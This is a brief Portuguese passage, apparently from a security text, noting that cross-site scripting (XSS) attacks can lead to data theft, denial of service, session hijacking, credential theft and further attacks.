Os ataques XSS podem ser uma ponte para roubo de dados sensiveis,
negacao de servico, sequestro de sesséo, roubo de credenciais e consequentemente

outros ataques.
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